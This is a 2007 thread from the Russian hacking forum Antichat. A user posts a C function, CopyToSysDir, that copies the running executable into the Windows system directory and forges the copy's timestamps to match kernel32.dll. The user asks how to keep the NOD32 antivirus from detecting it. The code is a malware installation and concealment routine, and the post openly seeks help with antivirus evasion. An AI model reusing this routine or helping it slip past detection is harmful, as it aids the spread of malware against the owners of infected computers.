ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

CopyToSysDir() Помогите поправить
  #1  
Старый 02.07.2007, 20:25
Аватар для razzzar
razzzar
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
Провел на форуме:
725870

Репутация: 208
Question CopyToSysDir() Помогите поправить

Функция копирует ехе процесса в системную директорию. Мой нод32 ее палит. помогите испарвить, чтобы не ловилась.
Код:
// ---------------- [ Copy to system directory ] -------------- //

int CopyToSysDir(char * szBuff)
{
	char szExe[256], szNewExe[256], szSysDir[256], szKernl[256], szCurDir[256];
	HANDLE hFile;
	FILETIME aTime, bTime, cTime;

	if ( GetModuleFileName(NULL, szExe, 256) == 0 )
		return 0;

	if ( GetSystemDirectory(szSysDir, 256) == 0 )
		return 0;

	if ( GetCurrentDirectory(256, szCurDir) == 0 )
		return 0;

	if ( (strcmp(szSysDir, szCurDir) == 0) && (strcmp(szExe, EXE_NAME) == 0) )
		return 0;

	lstrcpy(szNewExe, szSysDir);
	lstrcat(szNewExe, "\\");
	lstrcat(szNewExe, EXE_NAME);

	if ( CopyFile(szExe, szNewExe, FALSE) == 0 ) // палится в этом месте
		return 0;

	lstrcpy(szKernl, szSysDir);
	lstrcat(szKernl, "\\");
	lstrcat(szKernl, KERNEL32_DLL);

	hFile = CreateFile(szKernl, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if ( hFile != INVALID_HANDLE_VALUE ) 
	{
		GetFileTime(hFile, &aTime, &bTime, &cTime);
		CloseHandle(hFile);
	}
	else
		return 0;

	hFile = CreateFile(szNewExe, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if ( hFile != INVALID_HANDLE_VALUE ) 
	{
		SetFileTime(hFile, &aTime, &bTime, &cTime);
		CloseHandle(hFile);
	}
	else
		return 0;

	memcpy(szBuff, szNewExe, 256);

	return 1;
}
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ПомогитЕ !!! подалуста найти кряк гейлордфакерЪ Болталка 2 30.08.2007 14:48
ПоМоГиТе! ПЛЗ!!! farik.aka E-Mail 1 17.09.2006 13:00
www.chat.love4u.ru - помогите получить прова админа! airwil Чаты 4 30.04.2006 15:35



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ